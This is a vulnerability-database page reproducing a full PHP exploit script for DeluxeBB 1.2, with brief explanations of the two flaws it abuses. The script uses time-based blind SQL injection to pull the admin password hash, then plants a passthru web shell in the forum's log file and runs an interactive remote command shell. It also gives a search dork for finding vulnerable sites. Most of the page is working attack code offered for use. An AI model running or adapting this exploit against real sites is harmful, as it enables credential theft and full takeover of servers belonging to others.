Lucene search
K

DeluxeBB 1.2 - Multiple Vulnerabilities

🗓️ 05 May 2008 00:00:00Reported by EgiXType 
exploitpack
 exploitpack
👁 20 Views

DeluxeBB 1.2 Multiple Vulnerabilitie

Code
<?php

/*
	-------------------------------------------------------
	DeluxeBB <= 1.2 Multiple Remote Vulnerabilities Exploit
	-------------------------------------------------------
	
	author...: EgiX
	mail.....: n0b0d13s[at]gmail[dot]com
	
	link.....: http://www.deluxebb.com/
	dork.....: allintitle: powered by DeluxeBB

	[-] Blind SQL injection (BENCHMARK() method) in /forums.php
	
	108.	if(!$sort) {
	109.		$sort = 'DESC';
	110.	} elseif($sort=='ASC' || $sort=='DESC') {
	111.		$add .= '&sort='.$sort;
	112.	}
	113.	
	114.	//calculating pages and navigation
	115.	$current_count = 0;
	116.	$tppt = $settings['tppt'];
	117.	
	118.	//caching censors
	119.	if($settings['censors']!=0) {
	120.		bbcodecache();
	121.	}
	122.	
	123.	//forum info
	124.	$rows = $db->query("SELECT COUNT(tid) FROM ".$prefix."threads WHERE (lastpostdate>='$posttime' && fid='$fid')");
	125.	$nrows = $db->result($rows);
	126.	
	127.	$pageinfo = multipage($nrows, $page, $settings['tppf'], "forums.php?fid=$fid");
	128.	
	129.	include($templatefolder.'/forums_header.dtf');
	130.	
	131.	//get and format all threads
	132.	$threads = $db->query("SELECT t.*,u.username FROM ".$prefix."threads t LEFT JOIN ".$prefix."users u ON (t.author=u.uid) 
		WHERE (t.fid='$fid' && t.lastpostdate>='$posttime') ORDER BY t.pinned $sort,t.lastpostdate $sort LIMIT $pageinfo[0], $pageinfo[1]");
			
	$sort variable isn't properly sanitised, so an attacker could be inject (with MySQL >= 4.1 that
	allows subqueries) SQL code in a subquery after 'ORDER BY' statement, in the query at line 132

	[-] PHP injection by privilege escalation in /admincp.php
	
	29.	if($settings['cplog']==1 || $logs==1) {
	30.		$time = time();
	31.		$dir = $settings['logpath'];
	32.		@chmod($dir.'/cp.php', 0777);
	33.		$string = $_COOKIE['membercookie']."|##|$ip|##|$time|##|$REQUEST_URI\n";
	34.		$filehandle=@fopen($dir.'/cp.php',"a");
	35.		if(!$filehandle) {
	36.			message($lang_wrongfilepermission, $lang_plschmod);
	37.		}
	38.		@flock($filehandle, 2);
	39.		@fwrite($filehandle, $string);
	40.		@fclose($filehandle);
	41.	}	
	
	with admin credentials, an attacker could be inject PHP code into cp.php log file by $REQUEST_URI
*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
	$sock = fsockopen($host, 80);
	while (!$sock)
	{
		print "\n[-] No response from {$host}:80 Trying again...";
		$sock = fsockopen($host, 80);
	}
	fputs($sock, $packet);
	while (!feof($sock)) $resp .= fread($sock, 1024);
	fclose($sock);
	return $resp;
}

function getmicrotime()
{ 
	list($usec, $sec) = explode(" ", microtime()); 
	return ((float)$usec + (float)$sec); 
}

function getdelay($query)
{
	global $host, $path;
	
	$query  = urlencode($query);
	$packet = "GET {$path}forums.php?fid=1&sort={$query} HTTP/1.0\r\n";
	$packet.= "Host: {$host}\r\n";
	$packet.= "Connection: close\r\n\r\n";
	$start = getmicrotime()*1000;
	http_send($host, $packet);
	$end = getmicrotime()*1000;

	return ($end - $start);
}

function normaldelay()
{
	global $count, $prefix, $uid;
	
	$sql = ",(SELECT pass FROM {$prefix}_users WHERE uid={$uid} AND RAND(IF(1=0,BENCHMARK({$count},MD5(1)),0)))/*";
	$d1 = getdelay($sql);
	$d2 = getdelay($sql);
	$d3 = getdelay($sql);
	$m = ($d1 + $d2 + $d3) / 3;
	
	return (intval($m));
}

function benchmarkdelay()
{
	global $count, $prefix, $uid;
   
	$sql = ",(SELECT pass FROM {$prefix}_users WHERE uid={$uid} AND RAND(IF(1=1,BENCHMARK({$count},MD5(1)),0)))/*";
	$d1 = getdelay($sql);
	$d2 = getdelay($sql);
	$d3 = getdelay($sql);
	$m = ($d1 + $d2 + $d3) / 3;
	
	return (intval($m));
}

function getuserinfo($uid)
{
	global $host, $path;
	
	$packet = "GET {$path}misc.php?sub=profile&uid={$uid} HTTP/1.0\r\n";
	$packet.= "Host: {$host}\r\n";
	$packet.= "Connection: close\r\n\r\n";
	preg_match_all("/<span class=\"misctext\">(.*)<\/span>/", http_send($host, $packet), $split);
	
	return $split[1];
}

print "\n+-----------------------------------------------------------------+";
print "\n| DeluxeBB <= 1.2 Multiple Remote Vulnerabilities Exploit by EgiX |";
print "\n+-----------------------------------------------------------------+\n";

if ($argc < 3)
{
	print "\nUsage......:	php $argv[0] host path [options]\n";
	print "\nhost.......:	target server (ip/hostname)";
	print "\npath.......:	path to DeluxeBB directory (example: / or /deluxebb/)\n";
	print "\n-h hash....:	MD5 hash of admin (to find with SQL injection)";
	print "\n-d delay...:	delay for BENCHMARK() (dafault: 500000)";
	print "\n-u uid.....:	id of an admin user (default: 1)";
	print "\n-t prefix..:	table's prefix (default: deluxebb)\n";
	print "\nExample....:	php $argv[0] localhost /deluxebb/ -d 250000 -t my_prefix";
	print "\nExample....:	php $argv[0] localhost / -h 098f6bcd4621d373cade4e832627b4f6 -u 5\n";
	die();
}

$host	= $argv[1];
$path	= $argv[2];

$opt	= array("-h", "-d", "-u", "-t");
$md5	= "";
$count	= "500000";
$uid	= "1";
$prefix = "deluxebb";

for ($i = 3; $i < $argc; $i++)
{
	if ($argv[$i] == "-h") if (isset($argv[$i+1]) && !in_array($argv[$i+1], $opt)) $md5 = $argv[++$i];
	if ($argv[$i] == "-d") if (isset($argv[$i+1]) && !in_array($argv[$i+1], $opt)) $count = $argv[++$i];
	if ($argv[$i] == "-u") if (isset($argv[$i+1]) && !in_array($argv[$i+1], $opt)) $uid = $argv[++$i];
	if ($argv[$i] == "-t") if (isset($argv[$i+1]) && !in_array($argv[$i+1], $opt)) $prefix = $argv[++$i];	
}

if (!strlen($md5))
{
	print "\n[-] Testing delay time...";
	$ndelay = normaldelay();
	$adelay = $ndelay * 3;
	print "\n[-] Normal delay: {$ndelay} ms";
	$bdelay = benchmarkdelay();
	print "\n[-] Benchmark delay: {$bdelay} ms (this value must be greater then {$adelay} ms)\n";
	
	$user_info = getuserinfo($uid);
	print "\n[-] Username: {$user_info[1]}";
	if (strtolower($user_info[3]) != "head admin") die("\n\n[-] '{$user_info[1]}' is not admin!\n");

	$hash = array(0,48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102);
	$index = 1; $md5 = "";
	print "\n[-] MD5 Hash: ";
	
	while (!strpos($md5, chr(0)))
	{
		for ($i = 0, $n = count($hash); $i <= $n; $i++)
		{
			if ($i == $n) die("\n\n[-] Exploit failed...\n");
			$sql = ",(SELECT pass FROM {$prefix}_users WHERE uid={$uid} AND RAND(IF((ORD(SUBSTR(pass,{$index},1))={$hash[$i]}),BENCHMARK({$count},MD5(1)),1)))/*";
			if (getdelay($sql) > $adelay) { $md5 .= chr($hash[$i]); print chr($hash[$i]); break; }
		}
	
		$index++;
	}
	
	if (!eregi("[0-9,a-f]{32}", $md5)) die("\n\n[-] Invalid MD5 hash...\n");
}
else
{
	$user_info = getuserinfo($uid);
	print "\n[-] Username: {$user_info[1]}\n[-] MD5 Hash: {$md5}";
	if (strtolower($user_info[3]) != "head admin") die("\n\n[-] '{$user_info[1]}' is not admin!\n");
}
	
print "\n\n[-] Trying to inject PHP code with admin credentials...\n";

$code	= "<?php;\${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)}?>";
$packet = "GET {$path}admincp.php?{$code} HTTP/1.0\r\n";
$packet.= "Host: {$host}\r\n";
$packet.= "Cookie: memberid={$uid}; membercookie={$user_info[1]}; memberpw={$md5}\r\n";
$packet.= "Connection: close\r\n\r\n";
http_send($host, $packet);

$packet = "GET {$path}logs/cp.php HTTP/1.0\r\n";
$packet.= "Host: {$host}\r\n";
$packet.= "Connection: close\r\n\r\n";
$html	= http_send($host, $packet);

if (!ereg("_code_", $html)) die("\n[-] Exploit failed...\n");
else print "[-] Shell injected! Starting it...\n";

define(STDIN, fopen("php://stdin", "r"));

while(1)
{
	print "\ndeluxebb-shell# ";
	$cmd = trim(fgets(STDIN));
	if ($cmd != "exit")
	{
		$packet = "GET {$path}logs/cp.php HTTP/1.0\r\n";
		$packet.= "Host: {$host}\r\n";
		$packet.= "Cmd: ".base64_encode($cmd)."\r\n";
		$packet.= "Connection: close\r\n\r\n";
		$html   = http_send($host, $packet);
		if (!ereg("_code_", $html)) die("\n[-] Exploit failed...\n");
		$shell = explode("_code_", $html);
		print "\n".$shell[1];
	}
	else break;
}

?>

# milw0rm.com [2008-05-05]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 May 2008 00:00Current
0.1Low risk
Vulners AI Score0.1
20